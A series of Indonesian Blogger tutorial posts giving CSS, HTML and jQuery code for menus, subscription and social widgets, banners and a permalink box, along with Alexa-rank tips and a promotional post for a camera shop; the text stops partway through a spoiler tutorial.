Tapi sekarang saya membahas hal baru yaitu Cara Membuat Menu Accordion. Menu Accordion lebih berbeda dan lebih simple dari pada Tab View, Karena ada batasan saat membuat Tab View antara 3-4 atau lebih, tapi di Menu Accordion kita bebas menempatkan widget/ gadget didalamnya. Tunggu apalagi buruan pasang
Cara pasangnya

Buka Blogger sobat
Pilih Layout/ Tata Letak
Pilih Add Element/ Tambah Elemen
Pilih HTML/ Javascript
Masukan kode berikut didalamnya

<style type="text/css">
#accordion{width:100%;margin:auto;border:0px solid white}
#accordion h2{padding:5px 10px;background-color:#999999;background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeURZ89cOVx7rtKMQl3T4gom9IMeoBJsBZbOGkhelLe5DOL1CBPIKTJiaUXvCZB7e4adngzey0SER5RAqumUnUFe0zfA96-IUXwCO_oobPNVsOcap5FdPZzWTA-lqqbDew1Ke2Z3HVOxU/s1600/arrow_right.gif);background-repeat: no-repeat;background-position: right center;color:#fff;font:normal 13px Tahoma;border-bottom:1px solid #FFF;cursor:pointer;}
#accordion .content{font:normal 11px Arial;padding:5px 10px;background:#f5f5f5;border:0px solid #eeeeee;}
#accordion .content ul {list-style:none;margin:0 0 0;padding:0 0 0;}
#accordion .content li {background-image: url(); background-repeat: no-repeat;background-position: left center;margin:0;padding:2px 0 3px 0;text-indent:0px;border-bottom:1px dotted #ccc;line-height:1.3em;}
#accordion .content li a:hover {text-decoration:none;color:#000;}
#accordion h2.active{background-color:#bbb;background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi0ONoRQK38ikw8VKE2XfyQJ7qfdx7nRK4e9uUQRVh2kdadNEt8z5PDFIrmT8OC8ZLmbUMT-jRkasfUKstup8K5Ci-noDH5lqgFPu5Qj6l3adph9XP5LJSaE2BYrVviiSXDrK3Wxrqcq8/s1600/arrow_down.gif);background-repeat: no-repeat;background-position: right center;font-weight:bold;}
</style>
<script type="text/javascript" src="http://yourjavascript.com/121511228073/accordion-menu.js"></script>
<script type='text/javascript'>
$(function() {
$('#accordion .content').hide();
$('#accordion h2:first').addClass('active').next().slideDown('slow');
$('#accordion h2').click(function() {
if($(this).next().is(':hidden')) {
$('#accordion h2').removeClass('active').next().slideUp('slow');
$(this).toggleClass('active').next().slideDown('slow');
}
});
});
</script>

<div id="accordion">
<h2>Konten 1</h2>
<div class="content">
Isi Konten 1
</div>

<div id="accordion">
<h2>Konten 2</h2>
<div class="content">
Isi Konten 2
</div>

</div></div>

Simpan dan lihat hasilnya

Selamat mencoba yah kawan
Demo bisa dilihat di blog ini

Note

Ganti kata yang berwarna Merah dan Biru

Hargai penulis dengan mengirimkan saran dan komentar serta seraya mengklik iklan yang ada di blog ini

Buat Menu Vertikal Dengan CSS Di Blog

2013-12-28T10:41:00.002+07:00

Selamat siang kawan yang sangat bersahaja dan baik hatinya, Terima kasih telah datang dan membaca artikel ini. Ini adalah artikel saya yang ke 30. Kalian para blogger sejati pasti pernah mendengar Menu Horizontal dengan css diblog, tapi untuk kali ini saya tidak menjelaskan cara membuat itu tapi saya disini sakarang akan menjelaskan bagaimana cara membuat menu vertikal dengan css.

Screenshot

Oke tanpa panjang lebar kita langsug praktekan
1.Buka Blogger
2.Pilih Layout/ Tata letak
3.Pilih add Element
4.Pilih HTML/Javascript
5.Masukan kode ini didalamnya

<style>
.fblink_menu{
font: bold 14px Arial;
width: 190px; /* lebar menu */
}
.fblink_menu ul{
border: 1px solid #eee;
padding: 0;
margin: 0;
list-style: none;
}
.fblink_menu ul li{
margin:0;
padding:0;
}
.fblink_menu ul li a{
display:block;
text-transform: uppercase;
color: #494949;
padding: 10px 15px;
text-decoration: none;
border-bottom: 1px solid #cacaca;
border-right: 1px solid #a5a5a4;
-moz-box-shadow: inset 7px 0 10px rgba(199,100,2, 0.6);
-webkit-box-shadow: inset 7px 0 10px rgba(199,100,2, 0.6);
box-shadow: inset 7px 0 10px rgba(199,100,2, 0.6);
text-shadow: 0 -1px 1px #a0fef8;
-moz-transition: all 0.2s ease-in-out;
-webkit-transition: all 0.2s ease-in-out;
-o-transition: all 0.2s ease-in-out;
-ms-transition: all 0.2s ease-in-out;
transition: all 0.2s ease-in-out;
}
.fblink_menu ul li a:hover, .fblink_menu ul li a.selected{
color:#fd0a04;
-moz-box-shadow: inset 7px 0 10px rgba(79,102,220, 0.5), inset 0 0 15px rgba(79,102,220, 0.6), inset 0 0 20px rgba(79,102,220, 0.8);
-webkit-box-shadow: inset 7px 0 10px rgba(79,102,220, 0.5), inset 0 0 15px rgba(79,102,220, 0.6), inset 0 0 20px rgba(79,102,220, 0.8);
box-shadow: inset 7px 0 10px rgba(79,102,220, 0.5), inset 0 0 15px rgba(79,102,220, 0.6), inset 0 0 20px rgba(79,102,220, 0.8);
}
</style>

<div class="fblink_menu">
<ul>
<li><a href="#">Home</a></li>
<li><a href="#">Trik Blog</a></li>
<li><a href="#">Tutorial</a></li>
<li><a href="#">Contact Me</a></li>
</ul>
</div>

6.Kemudian Save/ Simpan

Note
Ganti kode # dengan alamat url
Ganti huruf yang berwarna orange dengan judul kalian

Sampai disini dulu tutor saya tentang Menu Vertikal dengan CSS di Blog, jangan lupa komen dan klik iklan yh :)

Cara Terbaru Merampingkan alexa dengan cepat

2013-12-27T13:39:00.002+07:00

Helo kawan ketemui lagi dengan saya yang gk tau mw kemana dan gk tau mau bikin apa. Hari ini saya akan memberikan tips yang menarik sepanjang masa dunia web sampai dunia blog yang sering digandrungi dngan berbagi macam jenis informasi.
Langsung saja kita
1. Dengan cara mendaftar blog atau website ke alexa dinsini
Cara ini adalah cara yang paling dasar dalam tahap meningkatkan rank alexa.Di tempat ini kalian akan di suguhkan berbagai macam informasi mengenai blog kalian dari pencarian keyword sampai pengencekan analisis pengunjung. Recommended gunakan ALEXA PRO

2.Memasang alexa Toolbar
Nah cara ini adalah tahap penerapan dan dalam jenjang memasuki pelacakan web dan juga statistik web yang kalian kelola, dari beberapa testimoni para ahli/ webmaster cara ini bisa meningkatkan rank 10% lebih tinggi dari pada yang tidak memasang toolbar ini. Silakan jika ingin memasang Toolbar ini disini

3.Melakukan Tawuran link/ lebih dikenal dengan blogwalking
Tawuran link/ Blogwalking merupakan cara terampuh dalam mengatasi perampingan alexa. Bagaimana cara melakukan Tawuran link ?
Kalian hanya perlu mengunjungi blog lain dan meninggalkan jejak seperti berkomentar, mengisi buku tamu, memvote, saling follow. dan lain lain | jangan lupa berkomentar di blog ini yh heheh :D

4.Menitipkan link ke berberapa Direktori terkemuka
Cara ini juga merupakan cara alternatif yang sederhana dalam merampingkan rank alexa.Dengan hanya mendaftar disini blog/ website kalian akan terpampang di dalam direktori tersebut, link penyedia direktori yang termukan Kunjungi ini

5.Menggunakan Alexa Booster ( No Recommended)
Aplikasi ini juga mampuh dalam hal menanggulangi masalah rank pada alexa, tapi saya tidak menganjurkan menggunakan ini, gunakan ini kalau agan lagi kepepet ajh gk bisa buka blog

6.Menggunakan jasa
Jika kalian sudah melakukan hal diatas namun belum mendapatkan hasil yang maksimal, gunakan lah jasa rank alexa yang tersebar di seluruh web di dunia

Sekian dari saya.

Hargailah admin dengan cara berkomentar dan jika berkenan tolong klik iklan yang ada di blog saya
Terima Kasih

Cara Membuat Langganan Artikel Valid HTML5 2014

2013-12-26T18:19:00.001+07:00

Helo semua

Kali ini saya akan membagikan beberapa tips yang mungkin sering diabaikan oleh penggunna blog, untuk memperoleh trafik blog yang Wow juga diperlukan yang namanya Pengunjung sertia atau Top Visitor. Saya memposting ini untuk membudahkan para visitoragar dapat memperoleh informasi yang terbaru atau terupdate. Langsung saja kita ke TKP heheheh

Masuk ke Blogger
Pilih Layout, Lau pilih Add Element/ tambah Element
Pilih HTML/Javascript
Masukan kode ini di dalamnya

<center>
<div style="background:url(http://s11.postimg.org/oawem4ns3/rss_feed.png)"><a href="http://feeds.feedburner.com/Fbacklink" imageanchor="1" style="margin-left: .5em; margin-right: 1em; float: center;" rel="dofollow" target="blank"><img border="0" height="40" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjGgtSC97dLd1YeQ7QI3Ii-ul0Vz5cnGl0pILWsySugdrImSNU-4FS9xwphHtBQT-_AX4EVA_YIGDRlq7zhpmB_W8YktaDzlXW49Y8L_20ozxraMwjjdk-WUd6RWZpHAIRyyQ8wrvZBLek/s400/Untitled-5.png" width="290" title="Langganan Sekarang" alt="Langganan Sekarang"/></a>
<style class="text/css"></style>
<blink>
<span style="font-weight:bold;color:#000;">Masukkan alamat Email Sobat disini untuk berlangganan dengan Artikel kami !</span></blink><div>
<form style="border:1px solid #ccc;padding:3px;text-align:center;" action="http://feedburner.google.com/fb/a/mailverify" method="post" target="popupwindow" onsubmit="window.open('http://feedburner.google.com/fb/a/mailverify?uri=Fbacklink', 'popupwindow', 'scrollbars=yes,width=550,height=520');return true"><p>Enter your email address:</p><p><input type="text" style="width:140px" name="email"/></p><input type="hidden" value="Fbacklink" name="uri"/><input type="hidden" name="loc" value="en_US"/><input type="submit" value="Subscribe" />
<div class="table">
<table><tbody><tr align="right"><td align="right"><div class="subicons"><a class="Fadeout" href="https://www.facebook.com/MTPblog" imageanchor="1" target="_blank" rel="dofollow" alt="Facebook" title="Facebook"><img border="0" width="30" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAc2OoZ52jk_JZeezzaecsV0_3o7Q3RMDc9olvRpO0Q7ePSfVkTcyH0QLCIrgZBni8NGD3rqLIvkoUTWrK-EyNaMGm4v6blzELfiJf1hME-tXRUieHJGwkh8ljgeeiO7OxHEYNHKnabf2s/s1600/facebook-48.png" title="Facebook" alt="Facebook"/></a></div></td><td><div class="subicons"><a class="Fadeout" href="https://twitter.com/tmayperdana " imageanchor="1" target="_blank" rel="dofollow" alt="Twitter" title="Twitter"><img border="0" width="30" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisFHGQBwrHqjWn_jNpwsOh5eZF_NZjShd3Ux9tiYyjbY3fe2tTuVkTxOyfKY-b2kC3uo5HCXGmH4du0Qc-gzfor-aBBeNY_qp9KvGQieiK6Q3tf4k_nwX660T5nq0LurqpTTc9nDzKCQ8x/s1600/twitter-48.png" alt="Twitter" title="Twitter"/></a></div></td><td><div class="subicons"><a class="Fadeout" href="http://feeds.feedburner.com/Fbacklink" imageanchor="1" target="_blank" rel="dofollow" alt="RSS" title="RSS"><img border="0" width="30" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQFWesOZMXLs7Y_4IUL0ajZV-vCNC_bYDvezc1wXuLrDpD_WFqyF3YlYxe-PqWmnZU6nURj8p2wL9qKZa62K84COhKBR-JlIO9WnW9l9BlvI1fjZZA5k30C_ZNNLBl-CG3-ZwCuF1sODp4/s1600/rss-48.png" alt="RSS" title="RSS"/></a></div></td><td><a class="Fadeout" href="https://plus.google.com/+TommyMaytmayperdana?rel=publisher" imageanchor="1" target="_blank" rel="dofollow" title="Google+" alt="Google+"><img width="30" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9aJdYxT3KCjTxvhHSatIAxe8iuRjWwcaWEqAnRW6SDjiTuAQkJ8Q5-G2P9iJDH2Ga0PV0304azUxgvxzmJxgv_xZXPgjBhDUamH1EUXUQl417tyxhNZeqMBDdYhsxGABXFQi6v85Iro1V/s1600/google-48.png" title="Google+" alt="Google+"/></a></td></tr></tbody></table></div></form></div></div></center>

Kemudian Save

Note

Ganti Fbacklink dengan id feed url anda (ex: http://feeds.feedburner.com/Fbacklink)
Ganti Yang warna Orange dengan link anda
Jika ingin valid HTML5 lakukan langkah langkah dibawah ini

Buka Template
Cari kode <b:include name='quickedit'/> dengan F3 atau CTRL+F
Jika sudah ketemu hapus kode tersebut
Kemudian Save Template

Sekian tutorial dari saya, untuk menghargai karya tulis sang penulis, silahkan berkomentar atau jika berkenan klik salah satu iklan yang ada di blog ini
Terima kasih

Cara Membuat Widget Google + Valid HTML5 2014

2013-12-26T12:05:00.001+07:00

Siang kawan blogger yang terhormat dan baik hati juga tidak sombong. Hari ini saya akan membagikan sesuatu yang sederhana tapi bermanfaat bagi kalian semua para blogger. Kailan tau Google + kan, Google+ adalah sosial media yang dibuat oleh google untuk memudahkan masyarakat untuk dapat berkomunikasi tanpa jarak, yh secara signifikan hampir sama dengan penjelasan dari Sosial Media yang lain . Yap Google + juga merupakan salah satu sarana promosi untuk para pengguna Blogger, untuk mempercepat artikel terindex oleh google yang merupakan Search Engine terbesar

Sudah cukup penjelasannya langsung sajah ke topik pembicaran .

Masuk ke Blogger
Pilih Layout, Lau pilih Add Element/ tambah Element
Pilih HTML/Javascript
Masukan kode ini di dalamnya

<div class='g-plus' data-action='followers' data-height='180' data-href='Alamat ID Google+' data-source='blogger:blog:followers' data-theme='DARK' data-width='300'></div>
<script type='text/javascript'> window.___gcfg = {'lang': 'in'}; </script>

Save/ Simpan

Note

Ubah kata Alamat ID Google+ dengan Id google plus kalian
(ex: https://plus.google.com/+idgoogle-plus)
Jika ingin Valid HTML5. Maka Kalian harus mengikuti langkah ini

Buka Template
Cari kode <b:include name='quickedit'/> dengan F3 atau CTRL+F
Jika sudah ketemu hapus kode tersebut

Sekian tutorial dari saya, untuk menghargai karya tulis sang penulis, silahkan berkomentar atau jika berkenan klik salah satu iklan yang ada di blog ini
Terima kasih

Cara Update Status Facebook dengan Nama Sendiri

2013-12-25T12:49:00.003+07:00

Selamat siang sahabat blogger yang lagi galau, Agan Premier penegn kasih tutorial yang bemanfaat bagi anak anak pecinta solmed lebih tepatnya untuk pengguna facebook .Wah biar keliatan keren dan menarik ini kita bisa menggunakan nama kita untuk update status. Dan anda bisa membuat nama lain disitu seperti dengan Samsung Galaxy terbaru

Gimana cara pembuatannya Langsung sajah

Masuk ke Facebook Developers
Klik tombol +Create New App
Isikian App name dengan status via yang agan ingin kan (ex: Fbacklink) yang nanti akan melalui "app name" kotak yang lain kosongkan saja,

Lalu klik Continue Isi Capctha bila diperlukan lalu klik Continue lagi
Lalu Copy App ID seperti contoh dibawah ini ke notepad :

Lalu masukan kode dibawah ini ke address browser kalian

http://www.facebook.com/dialog/feed?app_id=ID App Kalian&redirect_uri=https://www.facebook.com&to=&display=touch

Ingat jangan lupa disimpan linknya agar kaga ribet lagi misalkan mw update status.

Note : Ganti tulisan ID App Kalian dengan ID App yang kalian buat

Jika berhasih maka akan seperti ScreenShot dibawah ini .

Selesai deh tutorial Cara Update Status Facebook dengan Nama Sendiri ,Jangan lupa komen + share artikel ini yah gan, sampai ketemu lagi di posting terbaru

Buat Menu Horizontal melayang tanpa edit html

2013-12-24T10:43:00.002+07:00

Hi sobat gk punya waktu lama nih langsung ke tkp ajah, sebelum itu lihat dulu screenshot dibawah ini!

Pertama Buka Blogger
Lalu masuk ke Layout blog sobat
Pilih add element/ Tambah Element
Pilih HTML/Javascript
Lalu masukan kode ini

<style type="text/css">
#fbmenu ul li a {position: relative;float: bottom;display: block;width: AUTO;height: 15px;padding: 5px 0 0 0;margin-right: 5px;text-align: center;font-size: 15px;text-decoration: none;color:transparant;font-weight: bold;outline: none;}#fbmenu li .current{color: transparant;}#fbmenu li a:hover, #fbmenu li a:active {background: #4B0082;background: -webkit-gradient(linear, left top, left bottom, from(#4B0082), to(#FF0000)); background: -moz-linear-gradient(top,#4B0082, #FF0000); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#4B0082', endColorstr='#FF0000'); -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#4B0082', endColorstr='#FF0000'); display: inline-block;zoom: 1; *display: inline;border: dotted 1px #555555;padding: 3px 5px;-webkit-border-radius: 20px; -moz-border-radius: 20px; border-radius: 20px; -webkit-box-shadow: 0 1px 0px rgba(1,0,0,.1); -moz-box-shadow: 0 1px 0px rgba(0,0,0,.1); box-shadow: 0 1px 0px rgba(0,0,0,.1); -webkit-transition:all 0.5s ease-in-out; -moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out; -webkit-transform:rotate(10deg);-moz-transform:rotate(10deg);-o-transform:rotate(10deg);}color: #ffffff;margin: 0;font-size:18px;padding: 9px 15px 8px;text-decoration: none;}#fbmenu {width: auto;float: left;margin: 0;padding: 0;}#fbmenu {margin: 0;padding: 0;}#fbmenu ul {float: left;list-style: none;margin: 0;padding: 0;}#fbmenu li {list-style: none;margin: 0;padding: 0;}#fbmenu li a, #fbmenu li a:link, #fbmenu li a:visited {color: #ffffff;display: block;text-transform: capitalize;margin: 0;padding: 9px 15px 8px;font: Bold 15px Georgia, Arial;}#fbmenu li a:hover, #fbmenu li a:active {background:transparant;color: #ffffff;margin: 0;font-size:20px;padding: 9px 15px 8px;text-decoration: none;}#fbmenu li li a, #fbmenu li li a:link, #fbmenu li li a:visited {background: #00FFFF;background: -webkit-gradient(linear, left top, left bottom, from(#00FFFF), to(#000000)); background: -moz-linear-gradient(top,#00FFFF, #000000); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00FFFF', endColorstr='#000000'); -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00FFFF', endColorstr='#000000'); width: 250px;color: #E6E6FA;-webkit-border-radius: 30px; -moz-border-radius: 30px; border-radius: 30px; border-style: outset;-webkit-transition:all 0.5s ease-in-out; -moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out; -webkit-transform:rotate(10deg);-moz-transform:rotate(10deg);-o-transform:rotate(10deg);float: none;margin: 0;padding: 7px 10px;border-bottom: transparant;border-left: transparant;border-right: transparant;font: bold 14px kristen itc, Arial;}#fbmenu li li a:hover, #fbmenu li li a:active {background: #FF0000;background: -webkit-gradient(linear, left top, left bottom, from(#FF0000), to(#00FF00)); background: -moz-linear-gradient(top,#FF0000, #00FF00); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FF0000', endColorstr='#00FF00'); -ms-filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FF0000', endColorstr='#00FF00'); color: #ffffff;font-size:20px;font-family:kristen itc;text-align: center;padding: 7px 10px;}#fbmenu li {float: left;padding: 0;}#fbmenu li ul {z-index: 9999;position: absolute;left: -999em;height: 20px;width: 170px;margin: 0;padding: 0;}#fbmenu li ul a {width: 140px;}#fbmenu li ul ul {margin: -32px 0 0 171px;}#fbmenu li:hover ul ul, #fbmenu li:hover ul ul ul, #fbmenu li.sfhover ul ul, #fbmenu li.sfhover ul ul ul {left: -999em;}#fbmenu li:hover ul, #fbmenu li li:hover ul, #fbmenu li li li:hover ul, #fbmenu li.sfhover ul, #fbmenu li li.sfhover ul, #fbmenu li li li.sfhover ul {left: auto;}#fbmenu li:hover, #fbmenu li.sfhover {position: static;}#footer-column-divide {clear:both;}#fbmenu{font-family:Comic Sans Ms;background:#000 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinQ8SZ2yehAYUFQ1fJOIQSFTdItc1FLZJYlwMXDz1c1K5aqW4ZnE2erfIfHIqf61oE4xST2CSLeXXvwHmBTaw-I_5NlkQe5tsCjIP9_E8IKpzBbA9bvyMhlnTdLjSZ0_-1aIBh6tLXftxv/)repeat-x;(0,0,0, 0.80);border:1px solid #C0C0C0;padding:2px 0;z-index:999;top:0px;left:1px;right:1px;position:fixed;-moz-border-radius:10px;-webkit-border-radius:10px;}
</style>

<div id='fbmenu'>
<ul id='fbmenu'>
<li><a href='http://fbacklink.blogspot.com/'>Home</a></li>
<li><a href='http://fbacklink.blogspot.com/' target='_blank'>Daftar Isi</a></li>
<li><a href='http://fbacklink.blogspot.com/' target='_blank'>Download</a>
<ul class='children'>
<li><a href='Disini letak link sobat' target='_blank'>sub menu</a></li>
<li><a href='Disini letak link sobat' target='_blank'>sub menu</a></li>
</ul>
</li>
<li><a href='Disini letak link sobat' target='_blank'>menu</a></li>
</ul>
</div>

Simpan

Note
Ganti kode yang berwarna merah dengan url sobat
Ganti kode yang berwarna orange dengan judul sobat

Sampai kita bertemu di posting selanjutnya

Toko Kamera paling murah yah cuman di Camera.co.id

2013-12-22T22:50:00.002+07:00

Hi sobat blogger maniak yang tidak pernah tidur walaupun mata mulai menutup tapi tangan terus mengatur. Beberapa hal akan saya jelaskan dari artikel saya yang satu ini. Itu yang saya anggap akan menjadi menarik dan menjadi trading topik seantero dunia maya .

Hehehe saya perkenalkan saya admin Tommy, seorang pelajar jurusan Multimedia. Multimedia, kata itu mungkin tidak asing lagi untuk kalian, dalam jurusan multimedia ini ada yang namanya teknik pengambilan gambar. Dalam teknik ini diperlukan beberapa perangkat yang memadai termasuk kamera. Kadang kalian berpikir, ada ggak yh yang menjual kamera kualitas tinggi dengan harga yang terjangkau? Tentu "kata saya"
Kunjungin aja Toko Kamera, dsana terdapat ribuatn kamera, lensa, sampai aksesoris yang waw keren banget deh, aku sempet heran kok ada yah Toko Kamera ynag selengkap ini dengan harga yang bisa terjangkau dengan kanting yang sedang minim.

Lihat dan aku saranin untuk membeli perangkat kamera disana deh, jujur kalian gak bakal kecewa sudah banyak testimoni yang diberikan ke Toko Kamera dari para custumer, ulasan yang berbeda dan juga hal2 yang mereka kagumi dengan Kamera Murah dengan kualitas No1. Apalagi gak usah nunggu lama nih, jujur ajh yh lagi ada discon 70% WOW cetar bangetkan. Buat penggilapanorama alam yang menggunakan kamera super canggih saya saranin beli disini deh di jamin 1000% tanpa jaminan BPKB bisa langsung mendapatkan barang yang anda iniginkan.

Toko Kamera ini juga mempunyai penawaran yang meraiki bagi pelanggan yang ingin membuka studio di rumah / kantor dengan paket Studio kalian akan mendapatkan beberapa keperluan perlengkapan yang diperlukan untuk membuat studio dengan tingkat standar. Ini nih yang dinamakan Toko Kamera semuanya ada disini dari jual memory/storage sampai jual battery gak cuman itu Toko Kamera juga menjual berbagai perangkat android seperti Tablet/Gadged.

Cara pembelian yang mudah serta pelayanan yang baik dalam memanfaatkan media online. Toko Kamera ini membuka online shop untuk para penggermar kamera untuk memudahkan mereka membeli peralatan kamera .

Saran dari saya sebelum membeli di toko ini untuk mendaftar terlebih dahulu agar kalian lebih nyaman dalam berbelanja, eits kalian tidak perlu dateng ke toko jauh jauh naek angkot atau mobil, cukup klik klik ajah tinggal jari yang main. Jaman udah modern toko ajah udah online, selangkah lebih maju gan. Jika kalian mendaftar di Online Shop ini kalian bisa mendapatkan kejutan dan promosi gila gilaan apa lagi saat menjelang tahun baru pasti akan ada diskon yang wow seperti yang saya katakan diatas. Ingat yah sebelum membeli baca aturanya .

Dalam rangka ulang tahun Toko Kamera yang ke 5 mereka mengadakan kontes seo untuk semua pengguna blog tanpa dibatasi umur, pekerjaan, status dan satu lagi yang penting kontes ini tidak dikenakan biaya sepeser pun alian gratis tis tisss. Gimana tertarik bukan langsung saja daftar di Kontes Seo Camera.co.id .

Sekian ulasan dari saya mengenai Toko Kamera paling murah yah cuman di Camera.co.id dengan segala hormat saya ucapkan terima kasih

Cara membuat permalink di Blogger

2013-12-22T17:33:00.005+07:00

Hoalah sobat blogger, lagi pengen share tutor nih, Tutorial tentang Permalink, Permalink singkatan dari Permanent Link atau yang lebih dikenal dengan url yang muncul pada browser .Manfaat dari permalink itu sendiri adalah untuk memperkaya keyword , juga sebagai cara/ trik agar muncul di halaman pertama Google Serp .

Contoh gambar permalink di blogger

Kita langsung saja praktek Oke..

Buka blogger sobat
Lalu buka template
Pilih edit HTML
cari kode ]]></b:skin> dengan ctrl+f atau F3
Bila sudah ketemu, masukan kode dibawah ini diatas kode ]]></b:skin>

/* Permalink start http://fbacklink.blogspot.com*/
.fb-pmlink{
width:auto;
background:#f2f2f2;
border:2px solid #000000;
margin:30px 0 10px 0;
display:block;
font-family:"julee";
color:#000;
}
.fb-pmlink .kontainer{padding:5px;}
.fb-pmlink h4{
background:#FF0000;
border:none;
border-bottom:1px solid #000000;
color:#fff;
font-family:"julee";
text-shadow:0 1px 0 rgba(0, 0, 0, 0.4);
padding:5px 10px;
margin:0 0 0 0;
display:block;
}
.fb-pmlink h4 a{color:#000000;}
.fb-pmlink img{
background:#000000;
width:90px;
height:100px;
border:1px solid #000000;
margin:3px 10px 0 0;
float:left;
padding:2px;
box-shadow:none;-moz-box-shadow:none;-webkit-box-shadow:none;
}
/* Permalink end http://fbacklink.blogspot.com*/

Setelah itu cari kode <data:post.body/>
Bila sudah ketemu masukan kode ini dibawah kode <data:post.body/>

<b:if cond='data:blog.pageType == "item"'>
<div class='fb-pmlink'>
<h4>Dipost Oleh : <b><data:post.author/></b> ~ Sharing and Giving</h4>
<div class='kontainer'>
<img src='http://s11.postimg.org/4y2uoqsqb/pp1.png' alt="Author' title='Author'/>
Terima kasih karena anda telah membaca artikel aku tentang <b><a expr:href='data:post.url'><data:post.title/></a></b>. Oleh Admin, Sobat bisa mengcopy paste artikel ini dengan memasang link dibawah ini sebagai sumber. Blog ini telah mendapatkan perlindungan dari <a href="http://www.dmca.com/Protection/Status.aspx?ID=16a84b65-0b13-4808-a6eb-fff02cace232" title="DMCA">DMCA|PROTECTED</a>
<textarea cols='50' id='bloglinking' name='bloglinking' onclick='this.focus();this.select()' onfocus='this.select()' onmouseover='this.focus()' readonly='readonly' rows='1'><a href="<data:post.url/>" target="_blank"><data:blog.pageName/></a></textarea>
<p><span style='float:right;font:italic 10px Arial, Sans-Serif;'>
<a href='#' target='_blank'>:: Get this widget ! ::</a></span></p>
<div style='clear:both;'/>
</div>
</div>
</b:if>

Kemudian Simpan Template

DEMO bisa dilihat dibawah postingan ini

Note : Ganti huruf yang berwarna Orange

Selesai dan selesai deh tutorialnya, sampai jumpa sobat jangan lupa komentar yah

Cara membuat benner iklan dengan Jquery

2013-12-22T12:45:00.000+07:00

Krik Krik Krik mau post apa yh hari ini? nanya ama kaca ...
It's right kenapa tidak posting artikel tentang cara membuat banner iklan dengan Jquery ajh yah, hehehehhe suka bingung karena sudah banyak blogger blogger hebat dan terkemuka sudah memposting artikel ini, jadi minder. Tapi tak apalah saya akan meluangkan waktu saya untuk membuat posting ini .

....:::::Kita pergi ke TKP ajh yh gan::::...

Tahap Pertama
Seperti biasa buka blogger
Pilih template lalu edit HTML
cari kode </head> Gunakan ctrl+f atau tekan F3 agar lebih cepat
masukan kode dibawah ini sebelum kode </head>

<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js' type='text/javascript'/>

Selanjutnya cari kode ]]></b:skin>

Lemudian masukan kode dibawah ini tepas diatas kode ]]></b:skin>

.bannerHolder{/* The main banner unordered list */
height:270px;width:270px;
float:left;margin:20px 15px;padding:10px;background:#f7f7f7;border:1px solid #eee;
/* CSS3 rounded corners */
-moz-border-radius:12px;-webkit-border-radius:12px;border-radius:12px;}
.bannerHolder div{/* Disabling the bullet of the div elements: */list-style:none;display:inline;}
.banner{/* The banner divs */position:relative;width:125px;height:125px;overflow:hidden;float:left;margin:5px;}
.banner img{/* The banner divs */display:block;border:none;}
.banner div{/* The dark animated divs */
position:absolute;z-index:100;background-color:#222;width:60px;height:60px;cursor:pointer;
/* Setting a really big value for border-radiuswill make the divs perfect circles */
-moz-border-radius:100px;-webkit-border-radius:100px;border-radius:100px;}
/* Positioning the animated divs outside thecorners of the visible banner area: */
.banner .cornerTL{ left:-63px;top:-63px; }.banner .cornerTR{ right:-63px;top:-63px; }.banner .cornerBL{ left:-63px;bottom:-63px; }.banner .cornerBR{ right:-63px;bottom:-63px; }
.banner p{/* The "Visit Company" text */
display:none; /* hidden by default */
left:0;top:37px;width:100%;z-index:200;position:absolute;font-family:Tahoma, Arial, Helvetica, sans-serif;color:white;font-size:11px;text-align:center;cursor:pointer;}

Simpan Template

Tahap Kedua

Buka Layout/ Tata Letak
Lalu pilih add Element/ Tambah Elemen Pilih HTML/Javascript
Kemudian masukan kode ini di dalamnya

<div class="bannerHolder">
<div class="banner"><a href="url iklan"><img width="125" height="125" alt="Judul" src="url Gambar" title="Deskripsi gambar"/></a><p style="display: none;">Teks yang akan muncul ketika ada mouse</p><div class="cornerTL" style="opacity: 0.4; overflow: hidden; width: 60px; display: block; height: 60px;"></div><div class="cornerTR" style="opacity: 0.4; overflow: hidden; width: 60px; display: block; height: 60px;"></div><div class="cornerBL" style="opacity: 0.4; overflow: hidden; width: 60px; display: block; height: 60px;"></div><div class="cornerBR" style="opacity: 0.4; overflow: hidden; width: 60px; display: block; height: 60px;"></div></div>
</div></div>

Klik simpan

Note : Ganti kata yang cetak miring dan tebal sesuai keinginan anda

Cara Membuat Spoiler Keren tanpa Edit HTML di blog

2013-12-21T19:25:00.002+07:00

Selamat malem sobat blogger, jiah sambil nunggu timnas Indonesia lawan Thailand di Final sepak bola kejuaraan SEA GAME. Saya sempet sempetin buat posting artikel yang satu ini tentang bagaimana cara membuat Spoiler keren. Kalian tau kan spoilter itu apah?, Spoiler itu merupakan salah satu fasilitas yang di buat untuk menampilkan dan menyembunyikan suatu obyek seperti widget dan lain lain . Sudah paham sobat blogger

Tanpa tunggu lama lama sampi hujan gledek muncul :
Oke yang pertama seperti biasa sobat buka BLOGGER
Pilih Layout
Lalu tambah element/ add element
Pilih HTML/Javascript
Masukin kode berikut kedalamnya :

<style>
.spoiler{background:#f9f9f9 url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRR6B1_5M8w4pltb7sWsRYVUda5VOgxN4Ew33mLOGi-iAeThEs1buOIJhk-6CX92rkMmmF-vkKZAV_HKNXp_r_VURVq5GpD73s3geTyujrqN6kwB2Q1i093MfGqKOqxsLawQxajJCC4_sy/h120/gradient2.php.png) repeat-x;border:1px solid #ddd;padding:3px}.spoirel{font-family:arial;font-size:12px;color:#555;margin-bottom:0;font-weight:bold;text-align:left} </style>

